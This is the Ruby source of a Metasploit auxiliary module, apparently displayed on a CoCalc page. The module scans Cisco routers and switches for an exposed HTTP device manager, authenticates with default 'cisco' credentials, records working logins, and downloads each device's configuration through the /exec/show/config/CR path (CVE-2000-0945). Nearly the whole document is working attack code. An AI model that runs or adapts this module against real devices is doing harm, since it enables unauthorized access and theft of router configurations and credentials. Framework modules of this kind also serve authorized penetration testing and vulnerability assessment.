CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7

8
class MetasploitModule < Msf::Auxiliary
9

10
  # Exploit mixins should be called first
11
  include Msf::Exploit::Remote::HttpClient
12

13
  # Include Cisco utility methods
14
  include Msf::Auxiliary::Cisco
15

16
  # Scanner mixin should be near last
17
  include Msf::Auxiliary::Scanner
18

19
  def initialize(info={})
20
    super(update_info(info,
21
      'Name'           => 'Cisco Device HTTP Device Manager Access',
22
      'Description'    => %q{
23
          This module gathers data from a Cisco device (router or switch) with the device manager
24
        web interface exposed. The HttpUsername and HttpPassword options can be used to specify
25
        authentication.
26
      },
27
      'Author'		=> [ 'hdm' ],
28
      'License'		=> MSF_LICENSE,
29
      'References'	=>
30
        [
31
          [ 'BID', '1846'],
32
          [ 'CVE', '2000-0945'],
33
          [ 'OSVDB', '444'],
34
        ],
35
      'DisclosureDate' => '2000-10-26'))
36
    register_options(
37
      [
38
        OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),
39
        OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])
40
      ])
41
  end
42

43
  def run_host(ip)
44

45
    res = send_request_cgi({
46
      'uri'  		=>  "/exec/show/version/CR",
47
      'method'   	=> 'GET'
48
    }, 20)
49

50
    if res and res.code == 401
51
      print_error("#{rhost}:#{rport} Failed to authenticate to this device")
52
      return
53
    end
54

55
    if res and res.code != 200
56
      print_error("#{rhost}:#{rport} Unexpected response code from this device #{res.code}")
57
      return
58
    end
59

60
    if res and res.body and res.body =~ /Cisco (Internetwork Operating System|IOS) Software/
61
      print_good("#{rhost}:#{rport} Successfully authenticated to this device")
62
      store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])
63

64
      # Report a vulnerability only if no password was specified
65
      if datastore['HttpPassword'].to_s.length == 0
66

67
        report_vuln(
68
          {
69
            :host	=> rhost,
70
            :port	=> rport,
71
            :proto  => 'tcp',
72
            :name	=> self.name,
73
            :info	=> "Module #{self.fullname} successfully accessed http://#{rhost}:#{rport}/exec/show/version/CR",
74
            :refs   => self.references,
75
            :exploited_at => Time.now.utc
76
          }
77
        )
78

79
      end
80

81
      res = send_request_cgi({
82
        'uri'  		=>  "/exec/show/config/CR",
83
        'method'   	=> 'GET'
84
      }, 20)
85

86
      if res and res.body and res.body =~ /<FORM METHOD([^\>]+)\>(.*)/mi
87
        config = $2.gsub(/<\/[A-Z].*/i, '').strip
88
        print_good("#{rhost}:#{rport} Processing the configuration file...")
89
        cisco_ios_config_eater(rhost, rport, config)
90
      else
91
        print_error("#{rhost}:#{rport} Error: could not retrieve the IOS configuration")
92
      end
93

94
    end
95

96
  end
97
end
98

99